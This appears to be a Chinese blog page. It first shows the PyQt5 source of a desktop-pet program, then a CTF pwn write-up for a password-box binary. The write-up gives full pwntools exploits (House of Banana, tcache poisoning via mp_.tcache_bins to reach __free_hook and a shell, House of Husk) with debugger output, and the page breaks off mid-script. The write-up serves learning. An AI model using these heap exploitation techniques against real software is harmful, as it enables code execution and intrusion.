DesktopPets_v1.3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
import os
import sys
import random
from PyQt5.QtGui import *
from PyQt5.QtCore import *
from PyQt5.QtWidgets import *
from PyQt5 import QtWidgets, QtGui
import time

'''配置信息'''
class Config():
ROOT_DIR = os.path.join(os.path.split(os.path.abspath(__file__))[0], 'resources')
print(ROOT_DIR)
ACTION_DISTRIBUTION = [
['X','X','X','X','5','19','4','18','4','19','4','18','4','19','X','X','X','X','5','6','7','8','9','10'], # 吃撇_0
['1','1a','1b','1c','1d','1','1a','1b','1c','1d'], # 眨眼_1
['1','2','3','2','3','2','3','2','3','2','3','2','3','2','3','2','3''2','3','2','3''2','3','2','3','1','1a','1b'], # 行走_2
['6','6','7','7','8','8','5','5','9','9','10','10','7','7','6','6'], # 拖动_3
['11','11a','11b','11c','11d','11e','11f','11g','11f','11g','11f','11g','11f','11g','11f','11g','11e','11d','11c','11b','11a','11'], # 打哈切_4
['12', '13', '14'], # 爬_5
['19','5','19','4','18','4','19','4','18','4','19','4','18','4','19','4','18','4','5','1','X','X','X','1','1a','1b','1c'], # 触地_6
['20', '21'], # 睡觉_7
['22','22a','22','22a','22','22a','22','22a','22','22a','22','22a','22','22a','22','22a','22','22a','22','22a','22','22a','22','22a','22','22a','22','22a'], # 跳跃_8
['23','23a','23','23a','23b','24','25','26','27','28','29','34','35','36','37','34','35','36','37'], # 举手_9
['15','16','17','26','27','28','29','15','34','17','26','27','28','1','1a','1b'], # 攻击_10
['30','30','30','30','30','30a','30b','30b','30b','30c','30c','30a','30b','30b','30b','30c','30c','31','32','33'], # 打喷嚏_11
['9','19','4','18','x','1b','1c','1d'], # 撞墙_12
]
PET_ACTIONS_MAP = {'pet_1': ACTION_DISTRIBUTION}
for i in range(0): PET_ACTIONS_MAP.update({'pet_%s' % i+1: ACTION_DISTRIBUTION})

'''桌面宠物'''
class DesktopPet(QWidget):
tool_name = '桌面宠物'
stat = [1,2,4,8,9,10,11]
def __init__(self, parent=None, **kwargs):
super(DesktopPet, self).__init__(parent)
self.cfg = Config()
for key, value in kwargs.items():
if hasattr(self.cfg, key): setattr(self.cfg, key, value)
self.setWindowFlags(Qt.FramelessWindowHint|Qt.WindowStaysOnTopHint|Qt.SubWindow)
self.setAutoFillBackground(False)
self.setAttribute(Qt.WA_TranslucentBackground, True)
self.repaint()
self.pet_images, iconpath = self.randomLoadPetImages()
quit_action = QAction('退出', self, triggered=self.quit)
quit_action.setIcon(QIcon(iconpath))
self.tray_icon_menu = QMenu(self)
self.tray_icon_menu.addAction(quit_action)
self.tray_icon = QSystemTrayIcon(self)
self.tray_icon.setIcon(QIcon(iconpath))
self.tray_icon.setContextMenu(self.tray_icon_menu)
self.tray_icon.show()
self.image = QLabel(self)
self.setImage(self.pet_images[0][0])
self.is_follow_mouse = False
self.mouse_drag_pos = self.pos()
self.resize(236, 260)
self.randomPosition()
self.show()
self.is_running_action = False
self.action_images = []
self.action_pointer = 0
self.action_max_len = 0
self.x = self.pos().x()
self.y = self.pos().y()
self.heading = 0
self.touchdown_key = 0
self.jumpping_key = 0
self.fallingBody()

'''初始化计时器'''
def InitTimer(self,Act,start) -> None:
self.timer = QTimer()
self.timer.timeout.connect(Act)
self.timer.start(start)

'''随机做一个动作'''
def randomAct(self):
if not self.is_running_action:
self.is_running_action = True
self.key = random.randint(0,len(DesktopPet.stat)-1)
self.action = DesktopPet.stat[self.key]
print("action is:"+str(self.action))
self.action_images = self.pet_images[self.action]
self.action_max_len = len(self.action_images)
self.action_pointer = 0
self.heading = random.randint(0, 1)
if self.action == 2:
if self.heading == 0:
print("now is Right")
elif self.heading == 1:
print("now is Left")
elif self.action == 8:
self.jumpping_key = 1
self.InitTimer(self.randomAct,40)

if self.touchdown_key == 1:
self.action_images = self.pet_images[6]
self.action_max_len = len(self.action_images)
self.touchdown()
elif self.jumpping_key == 1:
self.action_images = self.pet_images[8]
self.action_max_len = len(self.action_images)
self.jumpping()
else:
if self.action == 2:
self.moving()
else:
self.runFrame()

'''完成动作的每一帧'''
def runFrame(self):
if self.action_pointer == self.action_max_len:
if self.action != 3:
time.sleep(0.5)
self.is_running_action = False
self.action_pointer = 0
self.action_max_len = 0
self.setImage(self.action_images[self.action_pointer].mirrored(self.heading, False))
self.action_pointer += 1

'''动作-移动'''
def moving(self):
if self.action_pointer == self.action_max_len:
time.sleep(0.8)
self.is_running_action = False
self.action_pointer = 0
self.action_max_len = 0
else:
screenRect = QApplication.desktop().screenGeometry()
self.x = self.pos().x()
self.x += int(32 * (0.5 - self.heading))
if (self.heading == 1):
if ((self.x <= 0 and self.heading == 1) or (
self.x >= screenRect.width() - self.size().width() and self.heading == 0)):
print('now is hit wall')
self.x = self.pos().x()
self.x += int(32)
self.action_images = self.pet_images[12]
self.action_max_len = len(self.action_images)
self.action_pointer = 0
self.hitwall()
self.heading = 0
else:
self.move(self.x, self.pos().y())
self.setImage(self.action_images[self.action_pointer].mirrored(0, False))
self.action_pointer += 1
elif (self.heading == 0):
if ((self.x <= 0 and self.heading == 1) or (
self.x >= screenRect.width() - self.size().width() and self.heading == 0)):
print('now is hit wall')
self.x = self.pos().x()
self.x += int(32)
self.action_images = self.pet_images[12]
self.action_max_len = len(self.action_images)
self.action_pointer = 0
self.hitwall()
self.heading = 1
else:
self.move(self.x, self.pos().y())
self.setImage(self.action_images[self.action_pointer].mirrored(1, False))
self.action_pointer += 1

'''动作-撞墙'''
def hitwall(self):
if self.action_pointer == self.action_max_len:
self.is_running_action = False
self.action_pointer = 0
self.action_max_len = 0
self.move(self.x, self.pos().y())
self.setImage(self.action_images[self.action_pointer].mirrored(self.heading, False))
self.action_pointer += 1

'''动作-坠落'''
def fall(self):
y = self.pos().y()
x = self.pos().x()
y += int(16)
screenRect = QApplication.desktop().screenGeometry()
if (y >= screenRect.height() - self.size().height()):
print('now is kiss the ground')
self.action_pointer = 0
self.touchdown_key = 1
self.InitTimer(self.randomAct,80)
else:
self.move(x,y)
self.setImage(self.pet_images[6][0].mirrored(self.heading, False))

'''动作-触地'''
def touchdown(self):
self.x = self.pos().x()
self.y = self.pos().y()
self.x -= 2
self.y -= 2
if self.action_pointer == self.action_max_len:
self.is_running_action = False
self.action_pointer = 0
self.action_max_len = 0
self.touchdown_key = 0
else:
self.move(self.x, self.y)
self.setImage(self.action_images[self.action_pointer].mirrored(self.heading, False))
self.action_pointer += 1

'''动作-吃瘪'''
def uncomfortable(self):
if not self.is_running_action:
self.is_running_action = True
self.action = 0
print("action is:" + str(self.action))
self.action_images = self.pet_images[self.action]
self.action_max_len = len(self.action_images)
self.action_pointer = 0
self.heading = random.randint(0, 1)
else:
self.runFrame()

'''动作-拖动'''
def dragging(self):
if not self.is_running_action:
self.is_running_action = True
self.action = 3
print("action is:" + str(self.action))
self.action_images = self.pet_images[self.action]
self.action_max_len = len(self.action_images)
self.action_pointer = 0
self.heading = random.randint(0, 1)
else:
self.runFrame()

'''动作-跳跃'''
def jumpping(self):
if self.action_pointer == 0:
self.z = 80
if self.action_pointer == self.action_max_len:
self.fallingBody()
self.is_running_action = False
self.action_pointer = 0
self.action_max_len = 0
self.jumpping_key = 0
self.z = 80
else:
screenRect = QApplication.desktop().screenGeometry()
self.x = self.pos().x()
self.y = self.pos().y()
self.x += int(48 * (0.5 - self.heading))
self.y -= self.z
self.z -= 5
if (self.heading == 1):
if ((self.x <= 0 and self.heading == 1) or (
self.x >= screenRect.width() - self.size().width() and self.heading == 0)):
print('now is hit wall')
self.x = self.pos().x()
self.x += int(32)
self.action_images = self.pet_images[12]
self.action_max_len = len(self.action_images)
self.action_pointer = 0
self.hitwall()
self.fallingBody()
self.heading = 0
else:
self.move(self.x, self.y)
self.setImage(self.action_images[self.action_pointer].mirrored(0, False))
self.action_pointer += 1
elif (self.heading == 0):
if ((self.x <= 0 and self.heading == 1) or (
self.x >= screenRect.width() - self.size().width() and self.heading == 0)):
print('now is hit wall')
x = self.pos().x()
x += int(32)
self.action_images = self.pet_images[12]
self.action_max_len = len(self.action_images)
self.action_pointer = 0
self.hitwall()
self.fallingBody()
self.heading = 1
else:
self.move(self.x, self.y)
self.setImage(self.action_images[self.action_pointer].mirrored(0, False))
self.action_pointer += 1

'''设置当前显示的图片'''
def setImage(self, image):
self.image.setPixmap(QPixmap.fromImage(image))

'''随机导入一个桌面宠物的所有图片'''
def randomLoadPetImages(self):
cfg = self.cfg
pet_name = random.choice(list(cfg.PET_ACTIONS_MAP.keys()))
actions = cfg.PET_ACTIONS_MAP[pet_name]
pet_images = []
self.flag = 0
for action in actions:
patch = [self.loadImage(os.path.join(cfg.ROOT_DIR, pet_name, 'shime'+item+'.png')) for item in action]
pet_images.append(patch)
iconpath = os.path.join(cfg.ROOT_DIR, pet_name, 'shimeX.png')
return pet_images, iconpath

'''鼠标左右键功能'''
def mousePressEvent(self, event):
if event.button() == Qt.LeftButton:
self.InitTimer(self.dragging,80)
self.is_follow_mouse = True
self.mouse_drag_pos = event.globalPos() - self.pos()
event.accept()
self.setCursor(QCursor(Qt.OpenHandCursor))
elif event.button() == Qt.RightButton:
self.InitTimer(self.uncomfortable,80)
self.menu = QMenu(self)
self.quit = self.menu.addAction("退出")
self.choice = self.menu.exec_(self.mapToGlobal(event.pos()))
if(self.choice == self.quit):
print("quit")
DesktopPet.quit()
self.randomAct()

'''鼠标移动, 则宠物也移动'''
def mouseMoveEvent(self, event):
if Qt.LeftButton and self.is_follow_mouse:
self.move(event.globalPos() - self.mouse_drag_pos)
event.accept()

'''鼠标释放时, 取消绑定'''
def mouseReleaseEvent(self, event):
self.is_follow_mouse = False
self.setCursor(QCursor(Qt.ArrowCursor))
self.fallingBody()

"""宠物自由落体"""
def fallingBody(self):
x = self.pos().x()
y = self.pos().y()
print("x=%x : y=%x" %(x,y))
self.InitTimer(self.fall,25)

'''导入图像'''
def loadImage(self, imagepath):
image = QImage()
image.load(imagepath)
return image

'''随机到一个屏幕上的某个位置'''
def randomPosition(self):
screen_geo = QDesktopWidget().screenGeometry()
pet_geo = self.geometry()
width = (screen_geo.width() - pet_geo.width()) * random.random()
height = (screen_geo.height() - pet_geo.height()) * random.random()
self.move(int(width), int(height))

'''退出程序'''
def quit(self):
self.close()
sys.exit()

if __name__=="__main__":
app = QApplication(sys.argv)
pets = DesktopPet()
pets.show()
sys.exit(app.exec_())

更新日志:

  • version:v1.3
  • date:2022.4.14
  • type:
    • Features:
      • 新添跳跃动作
      • 新添右键菜单
    • Changed:
      • 对程序运行逻辑进行的修改,提供了动作的流畅度
    • Removed:NULL
  • desc:
    • 修了一些BUG

PassWordBox_ProVersion

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
➜  桌面 ./pwdPro 
_ _
|_) _. _ _ \ / _ ._ _| |_) _
| (_| _> _> \/\/ (_) | (_| |_) (_) ><
_
|_) ._ _ \ / _ ._ _ o _ ._
| | (_) \/ (/_ | _> | (_) | |
Pro Version Advance:
1.Recover Your PassWord.Avoid mistaken delete!
2.Unlimited Edit!
3.LARRRRGER SIZE 2 STORE YOUR Secret Infomation!
4.By the way Much Safer Than Free!
5.Enjoy Your Self !
PassWordBox_V3.0_Pro+Version
1.Add Pwd
2.Edit Pwd
3.Show Pwd
4.Delete Pwd
5.Recover
6.Exit
Input Your Choice:
1
2
3
4
5
6
7
8
pwdPro: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0cf87abb0c2c119db0081f9c5e07fd0f028a5480, for GNU/Linux 3.2.0, stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/pwdPro'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release versi

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 delete()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 canary; // [rsp+8h] [rbp-8h]

canary = __readfsqword(0x28u);
puts("Idx you want 2 Delete:");
__isoc99_scanf("%u", &index);
if ( index <= 0x4F && *(_DWORD *)chunk_list_start[index].OPkey )
{
free((void *)chunk_list_start[index].pwd);
*(_DWORD *)chunk_list_start[index].OPkey = 0;// 没有置空ptr和size,UAF
}
return __readfsqword(0x28u) ^ canary;
}

UAF漏洞

入侵思路

本题目可以控制的东西很多,就是这个加密函数有点烦:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall code(__int64 pwd, int size)
{
__int64 result; // rax
int v3; // [rsp+14h] [rbp-18h]
int i; // [rsp+18h] [rbp-14h]

v3 = 2 * (size / 16);
if ( size % 16 <= 8 )
{
if ( size % 16 > 0 )
++v3;
}
else
{
v3 += 2;
}
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= v3 )
break;
*(_QWORD *)(8LL * i + pwd) ^= randomkey; /* randomkey是随机的 */
}
return result;
}
  • 解密函数和它一模一样
  • 它是以8字节为单位进行加密的
  • 异或加密比较好破解,但需要获取“randomkey”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
unsigned __int64 add()
{
unsigned int size; // [rsp+8h] [rbp-18h] BYREF
unsigned int index; // [rsp+Ch] [rbp-14h] BYREF
char *pwd; // [rsp+10h] [rbp-10h]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]

canary = __readfsqword(0x28u);
size = 0;
puts("Which PwdBox You Want Add:");
__isoc99_scanf("%u", &index);
if ( index <= 0x4F ) // 限制index
{
printf("Input The ID You Want Save:");
getchar();
read(0, &chunk_list_start[index], 0xFuLL); // 直接在结构体中写入name
chunk_list_start[index].canuse = 0; // 代表写过的chunk不能再次写入
printf("Length Of Your Pwd:");
__isoc99_scanf("%u", &size);
if ( size > 0x41F && size <= 0x888 ) // 限制size,只能申请large bin
{
pwd = (char *)malloc(size); // 在heap中写入pwd
printf("Your Pwd:");
getchar();
fgets(pwd, size, stdin);
code((__int64)pwd, size);
chunk_list_start[index].size = size;
chunk_list_start[index].pwd = (__int64)pwd;
*(_DWORD *)chunk_list_start[index].OPkey = 1;// 需要写入后才能修改
if ( !printf_check ) // 只有第一次申请会打印数据
{
printf("First Add Done.Thx 4 Use. Save ID:%s", (const char *)chunk_list_start[index].pwd);
printf_check = 1LL;
}
}
else
{
puts("Why not try To Use Your Pro Size?");
}
}
return __readfsqword(0x28u) ^ canary;
}

执行“申请模块”后会对数据进行一次加密,但同时也会泄露加密后的数据(仅限第一次),这就可以计算出“randomkey”了,然后 libc_base 和 heap_base 都可以泄露了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
add(0,0x448,"\x00"*8)
p.recvuntil('First Add Done.Thx 4 Use. Save ID:')
key=u64(p.recv(8))
success('key >> '+hex(key))
add(1,0x448,"\x00"*8)
add(2,0x448,"\x00"*8)
add(3,0x448,"\x00"*8)

delete(0)
delete(2)

recover(0)
show(0)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
libc_base = (leak_addr ^ key) - 0x1ebbe0
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

recover(2)
show(2)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
heap_base = (leak_addr ^ key)-656
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

House Of Banana

本程序可以主动 exit ,并且申请的空间足够大,所以先尝试一下 House Of Banana

1
2
pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
0x7f95f6cc7060->0x7f95f6c97118 is -0x2ff48 bytes (-0x5fe9 words)

House Of Banana 的关键就是那个 largebin attack:

1
2
3
4
5
6
7
8
9
10
11
12
13
unsortedbin /* fake _rtld_global结构体 */ 
all: 0x555913c6c290 —▸ 0x7f2d7fbb5be0 (main_arena+96) ◂— 0x555913c6c290

largebins /* largebin attack的对象 */
0x440: 0x555913c6cb20 —▸ 0x7f2d7fbb5fe0 (main_arena+1120) ◂— 0x555913c6cb20

pwndbg> telescope 0x555913c6cb20 /* largebins(修改完成) */
00:00000x555913c6cb20 ◂— 0x25ecdd3718ff91f6
01:00080x555913c6cb28 ◂— 0x451
02:00100x555913c6cb30 —▸ 0x7f2d7fbb5fe0 (main_arena+1120) —▸ 0x7f2d7fbb5fd0 (main_arena+1104) —▸ 0x7f2d7fbb5fc0 (main_arena+1088) —▸ 0x7f2d7fbb5fb0 (main_arena+1072) ◂— ...
03:00180x555913c6cb38 —▸ 0x7f2d7fbb5fe0 (main_arena+1120) —▸ 0x7f2d7fbb5fd0 (main_arena+1104) —▸ 0x7f2d7fbb5fc0 (main_arena+1088) —▸ 0x7f2d7fbb5fb0 (main_arena+1072) ◂— ...
04:00200x555913c6cb40 —▸ 0x555913c6cb20 ◂— 0x25ecdd3718ff91f6 /* 指向自己 */
05:00280x555913c6cb48 —▸ 0x7f2d7fbbc0f8 ◂— 0x0 /* 指向目标 */

largebin attack 发生在 chunk 从 unsortedbin 进入 largebins 的一瞬间,large chunk 会把“自己的chunk->head”写入“目标地址”(“chunk->BK_size”指向的地址,next_node)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import*

p=process('./pwdPro')
elf=ELF('./pwdPro')
libc=ELF('./libc-2.31.so')

def add(index,len,pwd):
p.sendlineafter('Input Your Choice:\n',str(1))
p.sendlineafter('Which PwdBox You Want Add:\n',str(index))
p.sendlineafter('Input The ID You Want Save:','aaa')
p.sendlineafter('Length Of Your Pwd:',str(len))
p.sendlineafter('Your Pwd:',pwd)

def edit(index,pwd):
p.sendlineafter('Input Your Choice:\n',str(2))
p.sendlineafter('Which PwdBox You Want Edit:\n',str(index))
p.sendline(pwd)

def show(index):
p.sendlineafter('Input Your Choice:\n',str(3))
p.sendlineafter('Which PwdBox You Want Check:\n',str(index))

def delete(index):
p.sendlineafter('Input Your Choice:\n',str(4))
p.sendlineafter('Idx you want 2 Delete:\n',str(index))

def recover(index):
p.sendlineafter('Input Your Choice:\n',str(5))
p.sendlineafter('Idx you want 2 Recover:\n',str(index))

def exit():
p.sendlineafter('Input Your Choice:\n',str(6))

#gdb.attach(p)

add(0,0x438,"\x00"*8)
p.recvuntil('First Add Done.Thx 4 Use. Save ID:')
key=u64(p.recv(8))
success('key >> '+hex(key))
add(1,0x448,"\x00"*8)
add(2,0x448,"\x00"*8)
add(3,0x448,"\x00"*8)

delete(0)
delete(2)

recover(0)
show(0)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
libc_base = (leak_addr ^ key) - 0x1ebbe0
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

recover(2)
show(2)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
heap_base = (leak_addr ^ key)-656
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

rtld_global=libc_base+0x222060
next_node=rtld_global-0x2ff48
success('rtld_global >> '+hex(rtld_global))
success('next_node >> '+hex(next_node))

one_gadget_list=[0xe6aee,0xe6af1,0xe6af4]
one_gadget=one_gadget_list[0]+libc_base
success('one_gadget >> '+hex(one_gadget))

main_arena=libc_base+2015200
chunk0_addr=heap_base+656
chunk2_addr=heap_base+2848

fake_addr=chunk0_addr
fake='\x00'*8
fake=fake.ljust(0x28-0x10,'\x00')
fake+=p64(fake_addr)
fake=fake.ljust(0x48-0x10,'\x00')
fake+=p64(fake_addr+0x58)
fake+=p64(0x8)
fake+=p64(one_gadget)
fake=fake.ljust(0x110-0x10,'\x00')
fake+=p64(fake_addr+0x40)
fake=fake.ljust(0x120-0x10,'\x00')
fake+=p64(fake_addr+0x48)
fake=fake.ljust(0x31c-0x10,'\x00')
fake+=p64(0x1c)

payload1= p64(main_arena)+p64(main_arena)
payload1+=p64(chunk2_addr)+p64(next_node-0x20)
payload2= p64(main_arena)+p64(0)
payload2+=p64(chunk0_addr)+p64(chunk0_addr)

add(0,0x438,"\x00"*8)
add(5,0x500,"\x00"*8)
edit(0,fake)
delete(0)
edit(2,payload1)
add(6,0x500,"\x00"*8)

recover(0)
edit(0,payload2)
exit()

p.interactive()

mp_.tcache_bins劫持 + Tcache attack

这里的 mp_.tcache_bins 的作用就相当于是 global max fast ,将其改成一个很大的地址之后,再次释放的堆块就会当作 tcache 来进行处理

1
2
3
4
pwndbg> p &mp_.tcache_bins
$1 = (size_t *) 0x7f5303de82d0 <mp_+80>
pwndbg> telescope 0x7f5303de82d0
00:00000x7f5303de82d0 (mp_+80) ◂— 0x40 /* 通常为0x40 */
1
2
3
4
pwndbg> p &mp_.tcache_bins
$2 = (size_t *) 0x7f5303de82d0 <mp_+80>
pwndbg> telescope 0x7f5303de82d0
00:00000x7f5303de82d0 (mp_+80) —▸ 0x5593fe267290 ◂— 0x0 /* 改为一个很大的数据 */

前面部分和 House Of Banana 一样,只是换一下攻击对象就可以了

此后释放的 chunk 都会放入 tcache(小于mp_.tcache_bins)

1
2
3
4
pwndbg> /* 在tcache_perthread_struct看到的信息(它的tcache_entry和main_arena很像) */
60:03000x56094bbaf300 ◂— 0x0
61:03080x56094bbaf308 —▸ 0x56094bbb08e0 —▸ 0x56094bbb0df0 ◂— 0x0
/* tcache_entry(0x510):chunk6->next => chunk7->next */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Allocated chunk | PREV_INUSE
Addr: 0x56094bbb03c0 /* chunk5 */
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x56094bbb08d0 /* chunk6 */
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x56094bbb0de0 /* chunk7 */
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x56094bbb12f0 /* chunk8 */
Size: 0x511

因为 libc-2.31 的 tcache 中加了 key 来检测 Double free,所以这里直接攻击 tcache_entry

1
2
3
4
pwndbg> /* tcache_entry(0x510) */
60:03000x56094bbaf300 ◂— 0x0
61:03080x56094bbaf308 —▸ 0x56094bbb08e0 —▸ 0x7f60e60c4b28 (__free_hook) ◂— 0x0
/* 直接在chunk6中写入free_hook,覆盖chunk7的位置 */
  • 这里最好不要在 chunk7 中写入free_hook,因为 tcache_perthread_struct->count 会记录各个 tcachebin 中的 chunk 数量(其实也可以伪造 count,就是有点麻烦)

注意:这里我尝试使用“one_gadget”没有打通(可能是条件不符合)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *

file_path = "./pwdPro"
context.arch = "amd64"

p=process('./pwdPro')
elf=ELF('./pwdPro')
libc=ELF('./libc-2.31.so')

def add(index,len,pwd):
p.sendlineafter('Input Your Choice:\n',str(1))
p.sendlineafter('Which PwdBox You Want Add:\n',str(index))
p.sendlineafter('Input The ID You Want Save:','aaa')
p.sendlineafter('Length Of Your Pwd:',str(len))
p.sendlineafter('Your Pwd:',pwd)

def edit(index,pwd):
p.sendlineafter('Input Your Choice:\n',str(2))
p.sendlineafter('Which PwdBox You Want Edit:\n',str(index))
p.sendline(pwd)

def show(index):
p.sendlineafter('Input Your Choice:\n',str(3))
p.sendlineafter('Which PwdBox You Want Check:\n',str(index))

def delete(index):
p.sendlineafter('Input Your Choice:\n',str(4))
p.sendlineafter('Idx you want 2 Delete:\n',str(index))

def recover(index):
p.sendlineafter('Input Your Choice:\n',str(5))
p.sendlineafter('Idx you want 2 Recover:\n',str(index))

def exit():
p.sendlineafter('Input Your Choice:\n',str(6))

#gdb.attach(p)

add(0,0x438,"\x00"*8)
p.recvuntil('First Add Done.Thx 4 Use. Save ID:')
key=u64(p.recv(8))
success('key >> '+hex(key))
add(1,0x448,"\x00"*8)
add(2,0x448,"\x00"*8)
add(3,0x448,"\x00"*8)

delete(0)
delete(2)

recover(0)
show(0)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
libc_base = (leak_addr ^ key) - 0x1ebbe0
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

recover(2)
show(2)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
heap_base = (leak_addr ^ key)-656
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

mp=libc_base+2011856
one_gadget_list=[0xe6aee,0xe6af1,0xe6af4]
one_gadget=one_gadget_list[0]+libc_base
system_libc=libc.sym['system']+libc_base
free_hook=libc.sym['__free_hook']+libc_base
success('mp >> '+hex(mp))
success('one_gadget >> '+hex(one_gadget))
success('system_libc >> '+hex(system_libc))
success('free_hook >> '+hex(free_hook))

main_arena=libc_base+2015200
chunk0_addr=heap_base+656
chunk2_addr=heap_base+2848

add(4,0x438,"\x00"*8)
add(5,0x500,"\x00"*8)
delete(0)

payload1= p64(main_arena)+p64(main_arena)
payload1+=p64(chunk2_addr)+p64(mp-0x20)
edit(2,payload1)
add(6,0x500,"\x00"*8)
add(7,0x500,"\x00"*8)
add(8,0x500,"\x00"*8)

delete(7)
delete(6)
recover(6)
edit(6,p64(free_hook))

add(6,0x500,"\x00"*8)
add(7,0x500,"\x00"*8)
edit(7,p64(system_libc))
edit(1,"/bin/sh\x00")
delete(1)

p.interactive()

House Of Husk

在常规 House Of Husk 中,需要先攻击 global_max_fast

1
2
3
4
pwndbg> p &global_max_fast
$2 = (size_t *) 0x7f0da6b5fb80 <global_max_fast>
pwndbg> telescope 0x7f0da6b5fb80
00:00000x7f0da6b5fb80 (global_max_fast) ◂— 0x80 /* 默认0x80 */
1
2
3
4
pwndbg> p &global_max_fast
$3 = (size_t *) 0x7f0da6b5fb80 <global_max_fast>
pwndbg> telescope 0x7f0da6b5fb80
00:00000x7f0da6b5fb80 (global_max_fast) —▸ 0x560b35d78290 /* 改为大数据 */

然后就是计算两个表的偏移:

1
2
pwndbg> distance &__printf_function_table &main_arena
0x7f0da6b61ff8->0x7f0da6b5cb80 is -0x5478 bytes (-0xa8f words)
1
2
pwndbg> distance &__printf_arginfo_table &main_arena
0x7f0da6b62350->0x7f0da6b5cb80 is -0x57d0 bytes (-0xafa words)

可惜的是,程序对 size 进行了限制,那么常规的 House Of Husk 就无法实施了(利用 main_arena 覆盖 __printf_function_table__printf_arginfo_table),但是可以用连续的 largebin attack 来代替这个过程

注意:libc-2.31版本下 largebin attack 的条件(必须小于 largebin 中所有的 chunk)

1
2
pwndbg> p __printf_arginfo_table
$1 = (printf_arginfo_size_function **) 0x55ac618778d0 /* chunk10 */
1
2
pwndbg> p __printf_function_table
$2 = (printf_function **) 0x55ac61876b20 /* chunk2 */

当我执行到最后一步时,悲剧还是发生了:

  • 所有 one_gadget 的条件都不满足
  • Rdi 指向栈上的一个地址,导致 system 的参数不可控

看来 House Of Husk 打不通这个题,完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *

file_path = "./pwdPro"
context.arch = "amd64"

p=process('./pwdPro')
elf=ELF('./pwdPro')
libc=ELF('./libc-2.31.so')

def add(index,len,pwd):
